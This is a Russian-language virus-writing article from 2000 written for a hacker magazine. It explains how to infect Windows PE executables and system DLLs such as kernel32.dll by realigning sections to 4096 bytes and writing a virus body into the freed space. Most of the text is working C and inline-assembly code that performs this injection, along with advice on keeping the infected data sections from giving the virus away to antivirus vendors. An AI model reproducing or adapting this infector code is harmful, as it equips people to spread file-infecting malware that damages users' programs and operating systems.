05.04.2000 PE инфекция - запись в свободное место. [u_dev]

 Итак, раздумывал я как-то над разными способами заражения PE 
 файлов под Win9x/NT, и вспомнил про идею реализованную в win95.cih.
 Там тело виря писалось в свободное место, остающееся после
 выравнивания секции на FileAlignment, а стартовый код писался в
 свободное место в PE header-е. Идея мне на тот момент нравилась, но
 убивало малое количество свободного места в секциях, тут на C/C++
 трудно что-ндь сделать. Да и стартовый код не на месте - насколько
 я помню NT такие файлы не любит... Ну и глядя на PE header очередной
 потенциальной жертвы я высмотрел что FileAlignment = 0x200 (512 байт).
 Большинство файлов имеют именно такое значение FileAlignment (в принципе
 это было известно и раньше). Подумав еще слегка мне пришло в голову что 
 после загрузки в адресное пространство процесса, секции имеют иное
 выравнивание - SectionAlignment. А вспомив что в архитектуре процессоров
 x86 минимальный размер страницы равен 4096 байт (он же впрочем и
 максимальный ;))), то возникает мысль что если перекомпоновать файл
 и выровнять все секции в файле на эту величину (4096), то можно поиметь
 несколько больше свободного места. Причем чем больше количество секций
 тем больше может оказаться свободного пространства. Прирост свободного
 пространства в одной секции варьируется от 0 до 4095 байт - что
 согласитесь не плохо...
 
 Собственно почему мне понравился данный метод. Дело в том что при
 написании виря я столкнулся с такой проблемой: при заражении системных
 dll-ей под NT нельзя бесконечно увеличивать ImageSize (увеличение последней
 секции как раз требует этого). Потому как эти dll-и (в частности kernel32.dll)
 система не желает перемещать на новое место в случае нехватки места при
 загрузки по ImageBase. Возникновение такой ситуации приводит к остановке
 загрузки системы... А места как раз и не хватает - следом  за kernel32.dll
 идет ntdll.dll и расстояние между ними не очень велико. Для вирей на asm
 это не очень страшно - а вот на С может стать (и стало) проблемой.

 Так вот при использовании этого метода мы можем наскрести необходимое
 пространство. Естественно что это не единственный путь. Однако я реализовал
 именно его.

 Собственно все реализовано в паре функций.

 DWORD
 UpgradeSection(
     PVOID pMapFile,        // указатель на загруженный в память образ PE файла
     DWORD dwSectionNumber, // номер секции для расширения
     PVOID pArray,          // данные для записи в образовавшееся свободное место
     DWORD dwArraySize,     // размер данных (должен быть заранее известен, если
                            // свободного места не хватит то ф-я ничего не сделает)
     LARGE_INTEGER *pOriginalFileSize  // размер файла до изменения этой секции
     )

 UpgradeSection возвращает на сколько увеличился размер файла

 Следущая ф-я FixUpDebugDirectory необходима для коррекции точки входа DebugDirectory
 Кто сочтет ее лишней может ее выкинуть. Я ее использовал еще для одной цели.
 Но о ней в данной статье нет смысла говорить.

 DWORD
 FixUpDebugDirectory(
     PVOID pMapFile,        // указатель на загруженный в память образ PE файла
     DWORD dwDelta,         // на сколько сместить DebugDirectory
     IMAGE_SECTION_HEADER *pUpgradeSection // указатель на header изменяемой секции
     )
                                                       
 FixUpDebugDirectory - возвращает размер отладочной информации

 Код абсолютно не оптимизирован (в тот момент такой цели не ставилось), так
 что кому надо тот пусть этим и занимается.

 В ф-ии UpgradeSection присутствует следущая вещь:

   if(pCodeSection != pSection)
      pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ;

 дело в том что в секциях ".rdata", ".data" часто SizeOfRawData <= VirtualSize,
 то есть наш код может попасть в участок данных который после загрузки должен
 быть проинициализирован 0. Мы же расширив секцию нарушаем это требование, это 
 может быть фатальным для некоторых программ. Поэтому при сборке тела виря на
 старте нам необходимо обнулить ту чать секции которую мы занимаем (после
 переноса нашего кода на стек или еще куда, разумеется). Естественно что это
 справедливо только для сегментов данных. Для сегмента кода этого делать не
 нужно. Я применил простейшую проверку только на кодовый сегмент, однако имеет
 смысл повторить сей же трюк для некоторых др. сегментов (например ".reloc") -
 дабы не вводить в искушение аверов...


DWORD UpgradeSection(PVOID pMapFile, DWORD dwSectionNumber, PVOID pArray, DWORD
dwArraySize, LARGE_INTEGER *pOriginalFileSize)
{
  if(!pMapFile || !pOriginalFileSize || !pArray || !dwArraySize)
     return 0;
  if(pOriginalFileSize->QuadPart == 0)
     return 0;
  if(NumOfSections(pMapFile) <= (int)dwSectionNumber)
     return 0;
  
  DWORD      dwFreeSize = 0;
  DWORD      dwDelta = 0;
  FILETIME  *pFileSize = (FILETIME*)pOriginalFileSize;

  IMAGE_SECTION_HEADER *pSection = GetFreeSpaceIntoSection(pMapFile, &dwFreeSize, dwSectionNumber);
  if(!pSection)
     return 0;
  if(!dwFreeSize)
     return 0;
  if(dwFreeSize < dwArraySize)
     return 0;
  IMAGE_SECTION_HEADER *pCodeSection = GetCodeSectionPtr(pMapFile, NULL);

  if(pCodeSection != pSection)
     pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ;

  DWORD dwAlignSizeSection = (GetSizeSectionReally(pSection) + 0x0fff) & 0xfffff000;
  if(dwAlignSizeSection == pSection->SizeOfRawData)
    {
     _memcpy((PBYTE)((DWORD)pMapFile + pSection->PointerToRawData + GetSizeSectionReally(pSection)), 
             (PBYTE)pArray, dwArraySize);

     if(pSection->Misc.VirtualSize < dwAlignSizeSection)
        pSection->Misc.VirtualSize = dwAlignSizeSection;
     return 0;
    }
  else
    {
     dwDelta = dwAlignSizeSection - pSection->SizeOfRawData;
     
     FixUpDebugDirectory(pMapFile, dwDelta, pSection);
     
     _memcpy((PBYTE)((DWORD)pMapFile + pSection->PointerToRawData + dwAlignSizeSection), 
             (PBYTE)((DWORD)pMapFile + pSection->PointerToRawData + pSection->SizeOfRawData),
              pFileSize->dwLowDateTime - pSection->PointerToRawData - pSection->SizeOfRawData);
     _memcpy((PBYTE)((DWORD)pMapFile + pSection->PointerToRawData + GetSizeSectionReally(pSection)), 
             (PBYTE)pArray, dwArraySize);
     
     if(pSection->Misc.VirtualSize < dwAlignSizeSection)
        pSection->Misc.VirtualSize = dwAlignSizeSection;
     pSection->SizeOfRawData = dwAlignSizeSection;

     int nSections = NumOfSections(pMapFile);
     PIMAGE_SECTION_HEADER psh = &pSection[1];
     for(int i=dwSectionNumber+1; i<nSections; i++)
       {
        if(psh->PointerToRawData)
           psh->PointerToRawData += dwDelta;
        psh++;
       }
    }
  return dwDelta;
}

IMAGE_SECTION_HEADER *GetFreeSpaceIntoSection(PVOID pMapFile, PDWORD pdwFreeSize,
DWORD dwSectionNumber)
{
  if(!pdwFreeSize)
     return NULL;
  if(NumOfSections(pMapFile) <= (int)dwSectionNumber)
     return NULL;

  DWORD dwSizeSection = 0;
  DWORD dwFreeSize = 0;
  IMAGE_SECTION_HEADER *pCodeSection = (PIMAGE_SECTION_HEADER)SECHDROFFSET(pMapFile);
  if(pCodeSection)
    {
     pCodeSection += dwSectionNumber;
     dwSizeSection = (GetSizeSectionReally(pCodeSection) + 0x0fff) & 0xfffff000;
     dwFreeSize = dwSizeSection - GetSizeSectionReally(pCodeSection);
     *pdwFreeSize = dwFreeSize;
    }
  return pCodeSection;
}

IMAGE_SECTION_HEADER *GetCodeSectionPtr(PVOID pMapFile, PDWORD pdwSectionNumber)
{
  if(!pMapFile)
     return NULL;

  int                      nSections = NumOfSections(pMapFile);
  int                      i;
  PIMAGE_SECTION_HEADER    psh;

  if((psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET(pMapFile)) != NULL)
    {
     for(i=0; i<nSections; i++)
       {
        if((psh->Characteristics & IMAGE_SCN_MEM_EXECUTE) && !(psh->Characteristics & IMAGE_SCN_MEM_WRITE)) 
          {
           if(pdwSectionNumber)
              *pdwSectionNumber = i;
           return psh;
          }
        else
           psh++;
       }
    }
  return NULL;
}

DWORD GetSizeSectionReally(IMAGE_SECTION_HEADER *pSection)
{
  if(pSection->Misc.VirtualSize <= pSection->SizeOfRawData)
     return pSection->Misc.VirtualSize;
  return pSection->SizeOfRawData;
}

DWORD FixUpDebugDirectory(PVOID pMapFile, DWORD dwDelta, IMAGE_SECTION_HEADER
*pUpgradeSection)
{
  if(!pMapFile)
     return 0;

  PIMAGE_DEBUG_DIRECTORY debugDir;
  PIMAGE_SECTION_HEADER  header;
  unsigned               cDebugFormats, i;
  DWORD                  offsetInto_rdata;
  DWORD                  va_debug_dir;
  PIMAGE_NT_HEADERS      pNTHeader = (PIMAGE_NT_HEADERS)PENTHDROFFSET(pMapFile);
  SECTION_NAME           Debug;
  SECTION_NAME           rData;
  DWORD                  dwSizeDebugInfo = 0;


  Debug.m_cLowWord = WORD4('.', 'd', 'e', 'b');
  Debug.m_cHighWord = WORD4('u', 'g', 0, 0);
  rData.m_cLowWord = WORD4('.', 'r', 'd', 'a');
  rData.m_cHighWord = WORD4('t', 'a', 0, 0);
  if(!pNTHeader)
     return dwSizeDebugInfo;
  // This line was so long that we had to break it up
  va_debug_dir = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
  if(va_debug_dir == 0)
     return dwSizeDebugInfo;

  // If we found a .debug section, and the debug directory is at the
  // beginning of this section, it looks like a Borland file
  header = GetSectionHeaderPtrByName(pMapFile, (char*)&Debug);
  if(header && (header->VirtualAddress == va_debug_dir))
    {
     debugDir = (PIMAGE_DEBUG_DIRECTORY)(header->PointerToRawData+(DWORD)pMapFile);
     cDebugFormats = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size;
    }
  else    // Look for microsoft debug directory in the .rdata section
    {
     header = GetSectionHeaderPtrByName(pMapFile, (char*)&rData);
     if(!header)
        return dwSizeDebugInfo;

     // See if there's even any debug directories to speak of...
     cDebugFormats = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size /
sizeof(IMAGE_DEBUG_DIRECTORY);
     if(cDebugFormats == 0)
        return dwSizeDebugInfo;
  
     offsetInto_rdata = va_debug_dir - header->VirtualAddress;
     debugDir = MakePtr(PIMAGE_DEBUG_DIRECTORY, pMapFile, header->PointerToRawData + offsetInto_rdata);
    }
  
  for(i=0; i < cDebugFormats; i++)
    {
     if(pUpgradeSection)
       {
        if(pUpgradeSection->PointerToRawData < debugDir->PointerToRawData)
           debugDir->PointerToRawData += dwDelta;
       }
     dwSizeDebugInfo += debugDir->SizeOfData;
     debugDir++;
    }

  return dwSizeDebugInfo;
}

IMAGE_SECTION_HEADER *GetSectionHeaderPtrByName(PVOID pMapFile, char *szSection)
{
  PIMAGE_SECTION_HEADER    psh;
  int                      nSections = NumOfSections (pMapFile);
  int                      i;

  if((psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET(pMapFile)) != NULL)
    {
     for(i=0; i<nSections; i++)
       {
        if(!_strnicmp((char*)psh->Name, szSection, IMAGE_SIZEOF_SHORT_NAME))
          {
           return psh;
          }            
        else
           psh++;            
       }        
    }    
  return NULL;
}

int _strnicmp(const char * first, const char * last, size_t count)
{
  int f,l;

  if(count) 
    {
     do{
        if(((f=(unsigned char)(*(first++))) >= 'A') && (f <= 'Z') )
           f -= 'A' - 'a';
        
        if(((l=(unsigned char)(*(last++))) >= 'A') && (l <= 'Z') )
           l -= 'A' - 'a';                 
       } 
     while(--count && f && (f == l));
  
     return( f - l );
    }
  
  return(0);
}

int NumOfSections(PVOID pMapFile)
{
  /* Число сегментов из заголовка PE файла. */
  return (int)((PIMAGE_FILE_HEADER) PEFHDROFFSET(pMapFile))->NumberOfSections;
}

__declspec(naked) void _memcpy(PBYTE pDest, PBYTE pSource, int dwCount)
{
//  if(pDest > pSource)
//    {
//     for(; --dwCount >= 0; )
//       pDest[dwCount] = pSource[dwCount];
//    }
//  else
//    {
//     while(dwCount--)
//       *pDest++ = *pSource++;
//    }
  __asm {
          push    ebp
          mov     ebp, esp

          pushad

          mov     esi, [pSource]
          mov     edi, [pDest]
          mov     ecx, [dwCount]
          
          test    ecx, ecx
          jz      __Ex

          cmp     edi, esi
          jbe     __Dir

          std

          add     esi, ecx
          add     edi, ecx
          dec     esi
          dec     edi

          rep     movsb

          cld
          jmp     __Ex
__Dir:
          cld
          rep     movsb
__Ex:
          popad

          mov     esp, ebp
          pop     ebp
          ret
        }
}

#define PAGESIZE               0x1000

#define SIZE_OF_NT_SIGNATURE   4

#define WORD4(a,b,c,d) ((a)+(b)*0x100+(c)*0x10000+(d)*0x1000000)
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (addValue) )

/* Смещение на сигнатуру PE файла                           */
#define NTSIGNATURE(a) ((LPVOID)((BYTE *)a                +  \
                        ((PIMAGE_DOS_HEADER)a)->e_lfanew))
/* Операционные системы MS идентифицируют PE файлы по сигнатуре
   размером dword; заголовок PE файла расположен непосредственно
   после этого dword                                         */
#define PEFHDROFFSET(a) ((LPVOID)((BYTE *)a               +  \
                         ((PIMAGE_DOS_HEADER)a)->e_lfanew +  \
                             SIZE_OF_NT_SIGNATURE))
#define PENTHDROFFSET(a) ((LPVOID)((BYTE *)a               +  \
                          ((PIMAGE_DOS_HEADER)a)->e_lfanew))
/* Опциональный заголовок - сразу после заголовка PE файла   */
#define OPTHDROFFSET(a) ((LPVOID)((BYTE *)a               +  \
                         ((PIMAGE_DOS_HEADER)a)->e_lfanew +  \
                           SIZE_OF_NT_SIGNATURE           +  \
                           sizeof (IMAGE_FILE_HEADER)))
/* Заголовки сегментов - сразу после опционального заголовка */
#define SECHDROFFSET(a) ((LPVOID)((BYTE *)a               +  \
                         ((PIMAGE_DOS_HEADER)a)->e_lfanew +  \
                           SIZE_OF_NT_SIGNATURE           +  \
                           sizeof (IMAGE_FILE_HEADER)     +  \
                           sizeof (IMAGE_OPTIONAL_HEADER)))


 любые вопросы по поводу статьи можно задать на форуме 
 u_dev
 Статья для журнала Top Device